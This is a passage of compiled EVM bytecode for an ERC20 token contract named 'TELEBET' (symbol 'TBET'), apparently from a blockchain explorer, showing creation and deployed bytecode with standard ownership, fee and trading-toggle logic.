0f14565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000fd37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000f96565b62000fdf868362000f96565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62001029620010236200101d8462000ff7565b62001000565b62000ff7565b9050919050565b5f819050919050565b620010448362001009565b6200105c620010538262001030565b84845462000fa2565b825550505050565b5f90565b6200107262001064565b6200107f81848462001039565b505050565b5b81811015620010a6576200109a5f8262001068565b60018101905062001085565b5050565b601f821115620010f557620010bf8162000f75565b620010ca8462000f87565b81016020851015620010da578190505b620010f2620010e98562000f87565b83018262001084565b50505b505050565b5f82821c905092915050565b5f620011175f1984600802620010fa565b1980831691505092915050565b5f62001131838362001106565b9150826002028217905092915050565b6200114c8262000f0a565b67ffffffffffffffff81111562001168576200116762000d2b565b5b62001174825462000f41565b62001181828285620010aa565b5f60209050601f831160018114620011b7575f8415620011a2578287015190505b620011ae858262001124565b8655506200121d565b601f198416620011c78662000f75565b5f5b82811015620011f057848901518255600182019150602085019450602081019050620011c9565b868310156200121057848901516200120c601f89168262001106565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200125e8262000ff7565b91506200126b8362000ff7565b92508282026200127b8162000ff7565b9150828204841483151762001295576200129462001225565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f620012d58262000ff7565b9150620012e28362000ff7565b925082620012f557620012f46200129c565b5b828204905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6200132b8262001300565b9050919050565b6200133d816200131f565b811462001348575f80fd5b50565b5f815190506200135b8162001332565b92915050565b5f6020828403121562001379576200137862000d0b565b5b5f62001388848285016200134b565b91505092915050565b6200139c816200131f565b82525050565b5f604082019050620013b75f83018562001391565b620013c6602083018462001391565b9392505050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62001413601f83620013cd565b91506200142082620013dd565b602082019050919050565b5f6020820190508181035f830152620014448162001405565b9050919050565b5f620014578262000ff7565b9150620014648362000ff7565b92508282019050808211156200147f576200147e62001225565b5b92915050565b620014908162000ff7565b82525050565b5f602082019050620014ab5f83018462001485565b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6200150d602483620013cd565b91506200151a82620014b1565b604082019050919050565b5f6020820190508181035f8301526200153e81620014ff565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f620015a1602283620013cd565b9150620015ae8262001545565b604082019050919050565b5f6020820190508181035f830152620015d28162001593565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6200160f602083620013cd565b91506200161c82620015d9565b602082019050919050565b5f6020820190508181035f830152620016408162001601565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f620016a3602683620013cd565b9150620016b08262001647565b604082019050919050565b5f6020820190508181035f830152620016d48162001695565b9050919050565b61293180620016e95f395ff3fe6080604052600436106101db575f3560e01c80638a8c523c11610101578063c3f70b5211610094578063ea4cfe1211610063578063ea4cfe12146106cc578063ea6debd0146106f6578063f2fde38b1461071e578063f8b45b0514610746576101e2565b8063c3f70b5214610612578063c78d0fa01461063c578063cc1776d314610666578063dd62ed3e14610690576101e2565b806396ce0795116100d057806396ce079514610546578063a457c2d714610570578063a9059cbb146105ac578063bbc0c742146105e8576101e2565b80638a8c523c146104a05780638d3e6e40146104b65780638da5cb5b146104f257806395d89b411461051c576101e2565b806337c546ca116101795780634f7041a5116101485780634f7041a5146103e85780635a90a49e1461041257806370a082311461044e578063715018a61461048a576101e2565b806337c546ca146103425780633950935114610358578063452ed4f1146103945780634a62bb65146103be576101e2565b806318160ddd116101b557806318160ddd1461027657806323b872dd146102a057806331286832146102dc578063313ce56714610318576101e2565b806306fdde03146101e65780630758d92414610210578063095ea7b31461023a576101e2565b366101e257005b5f80fd5b3480156101f1575f80fd5b506101fa610770565b6040516102079190611c8e565b60405180910390f35b34801561021b575f80fd5b50610224610800565b6040516102319190611d28565b60405180910390f35b348015610245575f80fd5b50610260600480360381019061025b9190611db3565b610825565b60405161026d9190611e0b565b60405180910390f35b348015610281575f80fd5b5061028a610847565b6040516102979190611e33565b60405180910390f35b3480156102ab575f80fd5b506102c660048036038101906102c19190611e4c565b610850565b6040516102d39190611e0b565b60405180910390f35b3480156102e7575f80fd5b5061030260048036038101906102fd9190611e9c565b61087e565b60405161030f9190611e0b565b60405180910390f35b348015610323575f80fd5b5061032c61089b565b6040516103399190611ee2565b60405180910390f35b34801561034d575f80fd5b506103566108a3565b005b348015610363575f80fd5b5061037e60048036038101906103799190611db3565b6108be565b60405161038b9190611e0b565b60405180910390f35b34801561039f575f80fd5b506103a86108f4565b6040516103b59190611f0a565b60405180910390f35b3480156103c9575f80fd5b506103d2610919565b6040516103df9190611e0b565b60405180910390f35b3480156103f3575f80fd5b506103fc61092b565b6040516104099190611e33565b60405180910390f35b34801561041d575f80fd5b5061043860048036038101906104339190611e9c565b610931565b6040516104459190611e0b565b60405180910390f35b348015610459575f80fd5b50610474600480360381019061046f9190611e9c565b61094e565b6040516104819190611e33565b60405180910390f35b348015610495575f80fd5b5061049e610993565b005b3480156104ab575f80fd5b506104b4610ae6565b005b3480156104c1575f80fd5b506104dc60048036038101906104d79190611e9c565b610be7565b6040516104e99190611e0b565b60405180910390f35b3480156104fd575f80fd5b50610506610c04565b6040516105139190611f0a565b60405180910390f35b348015610527575f80fd5b50610530610c2c565b60405161053d9190611c8e565b60405180910390f35b348015610551575f80fd5b5061055a610cbc565b6040516105679190611e33565b60405180910390f35b34801561057b575f80fd5b5061059660048036038101906105919190611db3565b610cc1565b6040516105a39190611e0b565b60405180910390f35b3480156105b7575f80fd5b506105d260048036038101906105cd9190611db3565b610d36565b6040516105df9190611e0b565b60405180910390f35b3480156105f3575f80fd5b506105fc610d58565b6040516106099190611e0b565b60405180910390f35b34801561061d575f80fd5b50610626610d6a565b6040516106339190611e33565b60405180910390f35b348015610647575f80fd5b50610650610d70565b60405161065d9190611e33565b60405180910390f35b348015610671575f80fd5b5061067a610d76565b6040516106879190611e33565b60405180910390f35b34801561069b575f80fd5b506106b660048036038101906106b19190611f23565b610d7c565b6040516106c39190611e33565b60405180910390f35b3480156106d7575f80fd5b506106e0610dfe565b6040516106ed9190611f0a565b60405180910390f35b348015610701575f80fd5b5061071c60048036038101906107179190611e9c565b610e24565b005b348015610729575f80fd5b50610744600480360381019061073f9190611e9c565b610f6c565b005b348015610751575f80fd5b5061075a61112e565b6040516107679190611e33565b60405180910390f35b60606003805461077f90611f8e565b80601f01602080910402602001604051908101604052809291908181526020018280546107ab90611f8e565b80156107f65780601f106107cd576101008083540402835291602001916107f6565b820191905f5260205f20905b8154815290600101906020018083116107d957829003601f168201915b5050505050905090565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f8061082f611134565b905061083c81858561113b565b600191505092915050565b5f600254905090565b5f8061085a611134565b90506108678582856112fe565b610872858585611389565b60019150509392505050565b6009602052805f5260405f205f915054906101000a900460ff1681565b5f6012905090565b5f600c5f6101000a81548160ff021916908315150217905550565b5f806108c8611134565b90506108e98185856108da8589610d7c565b6108e49190611feb565b61113b565b600191505092915050565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60105f9054906101000a900460ff1681565b600d5481565b6006602052805f5260405f205f915054906101000a900460ff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61099b611134565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2090612068565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610aee611134565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7390612068565b60405180910390fd5b60085f9054906101000a900460ff1615610bcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc2906120d0565b60405180910390fd5b600160085f6101000a81548160ff021916908315150217905550565b6007602052805f5260405f205f915054906101000a900460ff1681565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610c3b90611f8e565b80601f0160208091040260200160405190810160405280929190818152602001828054610c6790611f8e565b8015610cb25780601f10610c8957610100808354040283529160200191610cb2565b820191905f5260205f20905b815481529060010190602001808311610c9557829003601f168201915b5050505050905090565b606481565b5f80610ccb611134565b90505f610cd88286610d7c565b905083811015610d1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d149061215e565b60405180910390fd5b610d2a828686840361113b565b60019250505092915050565b5f80610d40611134565b9050610d4d818585611389565b600191505092915050565b60085f9054906101000a900460ff1681565b600a5481565b60115481565b600e5481565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610e2c611134565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb190612068565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1f906121c6565b60405180910390fd5b80600c60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610f74611134565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611002576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff990612068565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611070576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106790612254565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600b5481565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a0906122e2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611217576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120e90612370565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112f19190611e33565b60405180910390a3505050565b5f6113098484610d7c565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146113835781811015611375576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136c906123d8565b60405180910390fd5b611382848484840361113b565b5b50505050565b60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611424575060065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061143b5750601060019054906101000a900460ff165b156114505761144b8383836114c7565b6114c2565b60085f9054906101000a900460ff1661149e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149590612440565b60405180910390fd5b6114a9838383611733565b816114b4919061245e565b90506114c18383836114c7565b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611535576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152c90612501565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a9061258f565b60405180910390fd5b6115ae83838361190c565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611631576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116289061261d565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161171a9190611e33565b60405180910390a361172d848484611911565b50505050565b5f6011546117403061094e565b1015801561175b5750601060019054906101000a900460ff16155b80156117ae575060095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156117f1576001601060016101000a81548160ff0219169083151502179055506117d6611916565b5f601060016101000a81548160ff0219169083151502179055505b5f60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156118805760011515600c5f9054906101000a900460ff1615151461185f575f80fd5b6064600e548461186f919061263b565b61187991906126a9565b90506118ed565b60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156118ec576064600d54846118df919061263b565b6118e991906126a9565b90505b5b5f811115611901576119008530836114c7565b5b809150509392505050565b505050565b505050565b5f6119203061094e565b90505f810361192f57506119f8565b602860115461193e919061263b565b811115611957576028601154611954919061263b565b90505b611960816119fa565b5f4711156119f6575f600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16476040516119af90612706565b5f6040518083038185875af1925050503d805f81146119e9576040519150601f19603f3d011682016040523d82523d5f602084013e6119ee565b606091505b505080915050505b505b565b5f600267ffffffffffffffff811115611a1657611a1561271a565b5b604051908082528060200260200182016040528015611a445781602001602082028036833780820191505090505b50905030815f81518110611a5b57611a5a612747565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611aff573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611b239190612788565b81600181518110611b3757611b36612747565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611bd39594939291906128a3565b5f604051808303815f87803b158015611bea575f80fd5b505af1158015611bfc573d5f803e3d5ffd5b505050505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611c3b578082015181840152602081019050611c20565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611c6082611c04565b611c6a8185611c0e565b9350611c7a818560208601611c1e565b611c8381611c46565b840191505092915050565b5f6020820190508181035f830152611ca68184611c56565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f819050919050565b5f611cf0611ceb611ce684611cae565b611ccd565b611cae565b9050919050565b5f611d0182611cd6565b9050919050565b5f611d1282611cf7565b9050919050565b611d2281611d08565b82525050565b5f602082019050611d3b5f830184611d19565b92915050565b5f80fd5b5f611d4f82611cae565b9050919050565b611d5f81611d45565b8114611d69575f80fd5b50565b5f81359050611d7a81611d56565b92915050565b5f819050919050565b611d9281611d80565b8114611d9c575f80fd5b50565b5f81359050611dad81611d89565b92915050565b5f8060408385031215611dc957611dc8611d41565b5b5f611dd685828601611d6c565b9250506020611de785828601611d9f565b9150509250929050565b5f8115159050919050565b611e0581611df1565b82525050565b5f602082019050611e1e5f830184611dfc565b92915050565b611e2d81611d80565b82525050565b5f602082019050611e465f830184611e24565b92915050565b5f805f60608486031215611e6357611e62611d41565b5b5f611e7086828701611d6c565b9350506020611e8186828701611d6c565b9250506040611e9286828701611d9f565b9150509250925092565b5f60208284031215611eb157611eb0611d41565b5b5f611ebe84828501611d6c565b91505092915050565b5f60ff82169050919050565b611edc81611ec7565b82525050565b5f602082019050611ef55f830184611ed3565b92915050565b611f0481611d45565b82525050565b5f602082019050611f1d5f830184611efb565b92915050565b5f8060408385031215611f3957611f38611d41565b5b5f611f4685828601611d6c565b9250506020611f5785828601611d6c565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611fa557607f821691505b602082108103611fb857611fb7611f61565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611ff582611d80565b915061200083611d80565b925082820190508082111561201857612017611fbe565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612052602083611c0e565b915061205d8261201e565b602082019050919050565b5f6020820190508181035f83015261207f81612046565b9050919050565b7f54726164696e67206163746976650000000000000000000000000000000000005f82015250565b5f6120ba600e83611c0e565b91506120c582612086565b602082019050919050565b5f6020820190508181035f8301526120e7816120ae565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f612148602583611c0e565b9150612153826120ee565b604082019050919050565b5f6020820190508181035f8301526121758161213c565b9050919050565b7f7a65726f206164647265737300000000000000000000000000000000000000005f82015250565b5f6121b0600c83611c0e565b91506121bb8261217c565b602082019050919050565b5f6020820190508181035f8301526121dd816121a4565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61223e602683611c0e565b9150612249826121e4565b604082019050919050565b5f6020820190508181035f83015261226b81612232565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6122cc602483611c0e565b91506122d782612272565b604082019050919050565b5f6020820190508181035f8301526122f9816122c0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61235a602283611c0e565b915061236582612300565b604082019050919050565b5f6020820190508181035f8301526123878161234e565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f6123c2601d83611c0e565b91506123cd8261238e565b602082019050919050565b5f6020820190508181035f8301526123ef816123b6565b9050919050565b7f54726164696e67206e6f742061637469766500000000000000000000000000005f82015250565b5f61242a601283611c0e565b9150612435826123f6565b602082019050919050565b5f6020820190508181035f8301526124578161241e565b9050919050565b5f61246882611d80565b915061247383611d80565b925082820390508181111561248b5761248a611fbe565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6124eb602583611c0e565b91506124f682612491565b604082019050919050565b5f6020820190508181035f830152612518816124df565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612579602383611c0e565b91506125848261251f565b604082019050919050565b5f6020820190508181035f8301526125a68161256d565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f612607602683611c0e565b9150612612826125ad565b604082019050919050565b5f6020820190508181035f830152612634816125fb565b9050919050565b5f61264582611d80565b915061265083611d80565b925082820261265e81611d80565b9150828204841483151761267557612674611fbe565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6126b382611d80565b91506126be83611d80565b9250826126ce576126cd61267c565b5b828204905092915050565b5f81905092915050565b50565b5f6126f15f836126d9565b91506126fc826126e3565b5f82019050919050565b5f612710826126e6565b9150819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f8151905061278281611d56565b92915050565b5f6020828403121561279d5761279c611d41565b5b5f6127aa84828501612774565b91505092915050565b5f819050919050565b5f6127d66127d16127cc846127b3565b611ccd565b611d80565b9050919050565b6127e6816127bc565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61281e81611d45565b82525050565b5f61282f8383612815565b60208301905092915050565b5f602082019050919050565b5f612851826127ec565b61285b81856127f6565b935061286683612806565b805f5b8381101561289657815161287d8882612824565b97506128888361283b565b925050600181019050612869565b5085935050505092915050565b5f60a0820190506128b65f830188611e24565b6128c360208301876127dd565b81810360408301526128d58186612847565b90506128e46060830185611efb565b6128f16080830184611e24565b969550505050505056fea264697066735822122006bd388395e57e81c0b2208a4105af830ae775dfb1bef8793009bb0f320efd3764736f6c6343000815003300000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000754454c454245540000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000045442455400000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106101db575f3560e01c80638a8c523c11610101578063c3f70b5211610094578063ea4cfe1211610063578063ea4cfe12146106cc578063ea6debd0146106f6578063f2fde38b1461071e578063f8b45b0514610746576101e2565b8063c3f70b5214610612578063c78d0fa01461063c578063cc1776d314610666578063dd62ed3e14610690576101e2565b806396ce0795116100d057806396ce079514610546578063a457c2d714610570578063a9059cbb146105ac578063bbc0c742146105e8576101e2565b80638a8c523c146104a05780638d3e6e40146104b65780638da5cb5b146104f257806395d89b411461051c576101e2565b806337c546ca116101795780634f7041a5116101485780634f7041a5146103e85780635a90a49e1461041257806370a082311461044e578063715018a61461048a576101e2565b806337c546ca146103425780633950935114610358578063452ed4f1146103945780634a62bb65146103be576101e2565b806318160ddd116101b557806318160ddd1461027657806323b872dd146102a057806331286832146102dc578063313ce56714610318576101e2565b806306fdde03146101e65780630758d92414610210578063095ea7b31461023a576101e2565b366101e257005b5f80fd5b3480156101f1575f80fd5b506101fa610770565b6040516102079190611c8e565b60405180910390f35b34801561021b575f80fd5b50610224610800565b6040516102319190611d28565b60405180910390f35b348015610245575f80fd5b50610260600480360381019061025b9190611db3565b610825565b60405161026d9190611e0b565b60405180910390f35b348015610281575f80fd5b5061028a610847565b6040516102979190611e33565b60405180910390f35b3480156102ab575f80fd5b506102c660048036038101906102c19190611e4c565b610850565b6040516102d39190611e0b565b60405180910390f35b3480156102e7575f80fd5b5061030260048036038101906102fd9190611e9c565b61087e565b60405161030f9190611e0b565b60405180910390f35b348015610323575f80fd5b5061032c61089b565b6040516103399190611ee2565b60405180910390f35b34801561034d575f80fd5b506103566108a3565b005b348015610363575f80fd5b5061037e60048036038101906103799190611db3565b6108be565b60405161038b9190611e0b565b60405180910390f35b34801561039f575f80fd5b506103a86108f4565b6040516103b59190611f0a565b60405180910390f35b3480156103c9575f80fd5b506103d2610919565b6040516103df9190611e0b565b60405180910390f35b3480156103f3575f80fd5b506103fc61092b565b6040516104099190611e33565b60405180910390f35b34801561041d575f80fd5b5061043860048036038101906104339190611e9c565b610931565b6040516104459190611e0b565b60405180910390f35b348015610459575f80fd5b50610474600480360381019061046f9190611e9c565b61094e565b6040516104819190611e33565b60405180910390f35b348015610495575f80fd5b5061049e610993565b005b3480156104ab575f80fd5b506104b4610ae6565b005b3480156104c1575f80fd5b506104dc60048036038101906104d79190611e9c565b610be7565b6040516104e99190611e0b565b60405180910390f35b3480156104fd575f80fd5b50610506610c04565b6040516105139190611f0a565b60405180910390f35b348015610527575f80fd5b50610530610c2c565b60405161053d9190611c8e565b60405180910390f35b348015610551575f80fd5b5061055a610cbc565b6040516105679190611e33565b60405180910390f35b34801561057b575f80fd5b5061059660048036038101906105919190611db3565b610cc1565b6040516105a39190611e0b565b60405180910390f35b3480156105b7575f80fd5b506105d260048036038101906105cd9190611db3565b610d36565b6040516105df9190611e0b565b60405180910390f35b3480156105f3575f80fd5b506105fc610d58565b6040516106099190611e0b565b60405180910390f35b34801561061d575f80fd5b50610626610d6a565b6040516106339190611e33565b60405180910390f35b348015610647575f80fd5b50610650610d70565b60405161065d9190611e33565b60405180910390f35b348015610671575f80fd5b5061067a610d76565b6040516106879190611e33565b60405180910390f35b34801561069b575f80fd5b506106b660048036038101906106b19190611f23565b610d7c565b6040516106c39190611e33565b60405180910390f35b3480156106d7575f80fd5b506106e0610dfe565b6040516106ed9190611f0a565b60405180910390f35b348015610701575f80fd5b5061071c60048036038101906107179190611e9c565b610e24565b005b348015610729575f80fd5b50610744600480360381019061073f9190611e9c565b610f6c565b005b348015610751575f80fd5b5061075a61112e565b6040516107679190611e33565b60405180910390f35b60606003805461077f90611f8e565b80601f01602080910402602001604051908101604052809291908181526020018280546107ab90611f8e565b80156107f65780601f106107cd576101008083540402835291602001916107f6565b820191905f5260205f20905b8154815290600101906020018083116107d957829003601f168201915b5050505050905090565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f8061082f611134565b905061083c81858561113b565b600191505092915050565b5f600254905090565b5f8061085a611134565b90506108678582856112fe565b610872858585611389565b60019150509392505050565b6009602052805f5260405f205f915054906101000a900460ff1681565b5f6012905090565b5f600c5f6101000a81548160ff021916908315150217905550565b5f806108c8611134565b90506108e98185856108da8589610d7c565b6108e49190611feb565b61113b565b600191505092915050565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60105f9054906101000a900460ff1681565b600d5481565b6006602052805f5260405f205f915054906101000a900460ff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61099b611134565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2090612068565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610aee611134565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7390612068565b60405180910390fd5b60085f9054906101000a900460ff1615610bcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc2906120d0565b60405180910390fd5b600160085f6101000a81548160ff021916908315150217905550565b6007602052805f5260405f205f915054906101000a900460ff1681565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610c3b90611f8e565b80601f0160208091040260200160405190810160405280929190818152602001828054610c6790611f8e565b8015610cb25780601f10610c8957610100808354040283529160200191610cb2565b820191905f5260205f20905b815481529060010190602001808311610c9557829003601f168201915b5050505050905090565b606481565b5f80610ccb611134565b90505f610cd88286610d7c565b905083811015610d1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d149061215e565b60405180910390fd5b610d2a828686840361113b565b60019250505092915050565b5f80610d40611134565b9050610d4d818585611389565b600191505092915050565b60085f9054906101000a900460ff1681565b600a5481565b60115481565b600e5481565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610e2c611134565b73fffffffffffff